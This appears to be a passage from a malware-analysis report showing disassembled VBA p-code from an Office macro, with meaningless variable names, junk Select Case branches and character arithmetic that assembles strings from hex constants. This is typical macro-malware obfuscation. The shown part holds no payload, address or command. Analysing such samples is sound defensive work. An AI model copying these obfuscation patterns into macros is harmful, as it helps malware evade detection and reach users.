' 	LitDI4 0xB015 0x1098 
' 	St dMfnLzsUpVGpfnHota 
' Line #122:
' 	EndSelect 
' Line #123:
' 	Ld iYjXCAzvK 
' 	MemLd ContainingRange 
' 	Ld nMpUZUJ 
' 	Add 
' 	Ld pWdFfnC 
' 	Add 
' 	Ld TcziN 
' 	Add 
' 	Ld VEQFOHv 
' 	Add 
' 	Ld JQVGT 
' 	Add 
' 	Ld HkTXPf 
' 	Add 
' 	Ld sDpdkW 
' 	Add 
' 	Ld hzsSKi 
' 	Add 
' 	Ld Mddlu 
' 	Add 
' 	Ld GDwio 
' 	Add 
' 	Ld YbBRWvM 
' 	Add 
' 	Ld nLdIdsD 
' 	Add 
' 	St IwsvNzc 
' Line #124:
' 	Ld nBYObCYzWCsZJbwBcRXiMZRp 
' 	SelectCase 
' Line #125:
' 	LitDI4 0x3FE3 0x1227 
' 	Case 
' 	CaseDone 
' Line #126:
' 	LitDI4 0xE3C2 0x081B 
' 	St qZaCXlwAMZAIvfOoZTWiE 
' Line #127:
' 	LitDI4 0xEB56 0x0C31 
' 	St TVCSljNkiUtMzYT 
' Line #128:
' 	LitDI4 0x0874 0x087C 
' 	LitDI4 0x7FFD 0x07E8 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St aIPWBTWrTXAzTQd 
' Line #129:
' 	Ld DvFiSBjaRLNnOEPqf 
' 	St jVTNRzpRoBTOPGo 
' Line #130:
' 	LitDI4 0x9B62 0x06E7 
' 	Case 
' 	CaseDone 
' Line #131:
' 	LitDI4 0x92C7 0x1156 
' 	St JoNrQhjfUYFItIEMiQmpip 
' Line #132:
' 	LitDI4 0x1E3D 0x0444 
' 	St FlCCkldjwTfbqEpAiWLCMDTi 
' Line #133:
' 	LitDI4 0xD0CF 0x0E9E 
' 	LitDI4 0x931C 0x02A8 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St hatcHUvRliijvjuVKadcWdb 
' Line #134:
' 	LitDI4 0x87B8 0x09D0 
' 	St dpjCRXrsDCpVMKf 
' Line #135:
' 	EndSelect 
' Line #136:
' 	Ld UZrjzOMXwQJEfilX 
' 	SelectCase 
' Line #137:
' 	LitDI4 0xFAC5 0x115F 
' 	Case 
' 	CaseDone 
' Line #138:
' 	LitDI4 0xF77D 0x0047 
' 	St sQQoZoZojfffnzoAwYFcS 
' Line #139:
' 	LitDI4 0xD508 0x0B0C 
' 	St KFRjFsoYAHVojwfzDKJihrR 
' Line #140:
' 	LitDI4 0x973E 0x027D 
' 	LitDI4 0x077E 0x0C49 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St PijNRQPsYFiHETvv 
' Line #141:
' 	Ld irGwLqzrzqOjbMuJ 
' 	St SKFESYCRJVKTopYqOF 
' Line #142:
' 	LitDI4 0xCC7D 0x1456 
' 	Case 
' 	CaseDone 
' Line #143:
' 	LitDI4 0x3AA8 0x1310 
' 	St aRoPwFWNmuSfdjqu 
' Line #144:
' 	LitDI4 0x71E5 0x11CD 
' 	St LOtNVjDbvmjGufYfonWT 
' Line #145:
' 	LitDI4 0x2259 0x0676 
' 	LitDI4 0x84E4 0x0508 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St awECZTMhtjPOwl 
' Line #146:
' 	LitDI4 0x35F3 0x055B 
' 	St ILWKjdjAnGzsCXdmLovISHkO 
' Line #147:
' 	EndSelect 
' Line #148:
' 	Ld CrbjspvmEawYonM 
' 	SelectCase 
' Line #149:
' 	LitDI4 0xD896 0x0A00 
' 	Case 
' 	CaseDone 
' Line #150:
' 	LitDI4 0x3FB3 0x00AD 
' 	St lloaFmvzNmtMczDQcrLBaZN 
' Line #151:
' 	LitDI4 0x09E4 0x0EAA 
' 	St fwNNRTuGtXDhfwFj 
' Line #152:
' 	LitDI4 0xDBF9 0x129A 
' 	LitDI4 0x80E3 0x0739 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St DCacdvIMvBYSLYnPZnhk 
' Line #153:
' 	Ld uQWSzAjkEUtEvYPAvDdQ 
' 	St FiZzjwuFUpuKzkDVSFFYtibM 
' Line #154:
' 	LitDI4 0x6303 0x057A 
' 	Case 
' 	CaseDone 
' Line #155:
' 	LitDI4 0xD3FF 0x0413 
' 	St iVROfpuFXHNTpjYnUoLZuQ 
' Line #156:
' 	LitDI4 0xF5E6 0x141D 
' 	St XjqXziwvRFlAAlVtq 
' Line #157:
' 	LitDI4 0x737D 0x0DF4 
' 	LitDI4 0x45B1 0x1240 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St lqcjicIioFotOLBqwzWHsJRB 
' Line #158:
' 	LitDI4 0xA140 0x04E6 
' 	St miSRjvSYavzHvpvJqd 
' Line #159:
' 	EndSelect 
' Line #160:
' 	Ld PVwbkQVXzYBtDDuruX 
' 	SelectCase 
' Line #161:
' 	LitDI4 0xC385 0x055D 
' 	Case 
' 	CaseDone 
' Line #162:
' 	LitDI4 0xBC68 0x1393 
' 	St fOswtijithYfzRMQ 
' Line #163:
' 	LitDI4 0xBBF3 0x10DA 
' 	St TMfEIYqhlRMbntzwpBdAiBk 
' Line #164:
' 	LitDI4 0x263B 0x06BF 
' 	LitDI4 0x144F 0x11EA 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St SAVumqdtBEBjbFUILzOS 
' Line #165:
' 	Ld wPOvJrWEVYNYVnrKipvplY 
' 	St iCbLnzLScoZqYUnzbiim 
' Line #166:
' 	LitDI4 0x4C12 0x1154 
' 	Case 
' 	CaseDone 
' Line #167:
' 	LitDI4 0xB2A2 0x0C0C 
' 	St PvnYznkiHplmNQ 
' Line #168:
' 	LitDI4 0x0840 0x094E 
' 	St oNGQMRChvpzsnwD 
' Line #169:
' 	LitDI4 0x6D91 0x0981 
' 	LitDI4 0xB9F4 0x06FC 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St MjNEzHioiRjBEwOLpB 
' Line #170:
' 	LitDI4 0x9A41 0x09B4 
' 	St pztFdHprvKlOPAkRBqG 
' Line #171:
' 	EndSelect 
' Line #172:
' 	Ld whJkMzJsSkpGaoBE 
' 	SelectCase 
' Line #173:
' 	LitDI4 0xB300 0x00AF 
' 	Case 
' 	CaseDone 
' Line #174:
' 	LitDI4 0xF0CC 0x0BD1 
' 	St UuEdnloSYzGMYADofL 
' Line #175:
' 	LitDI4 0xB0CE 0x0F07 
' 	St GdSclCRVDIsztWthFVtYwuaL 
' Line #176:
' 	LitDI4 0x0CAC 0x0792 
' 	LitDI4 0x18B8 0x05C9 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St MpClJqaCNqccskT 
' Line #177:
' 	Ld SRzCYrJCFddIEcfJHjn 
' 	St EGSBGWiJRFDLDGpip 
' Line #178:
' 	LitDI4 0x9921 0x0426 
' 	Case 
' 	CaseDone 
' Line #179:
' 	LitDI4 0x38E4 0x06B7 
' 	St jDzYUwBmVmNvsAzRBhbsD 
' Line #180:
' 	LitDI4 0xBEED 0x019E 
' 	St fIBaftzJrfslOzi 
' Line #181:
' 	LitDI4 0xDA24 0x0875 
' 	LitDI4 0xFFEA 0x0B51 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St HPjqQNLcisFwLRfPzUPTXWt 
' Line #182:
' 	LitDI4 0xE06B 0x1240 
' 	St PAOjSXdjlnhPPupwzB 
' Line #183:
' 	EndSelect 
' Line #184:
' 	Ld WHjfwtbtAwFoJl 
…

Open this report in the interactive analyzer, or submit your own file for analysis.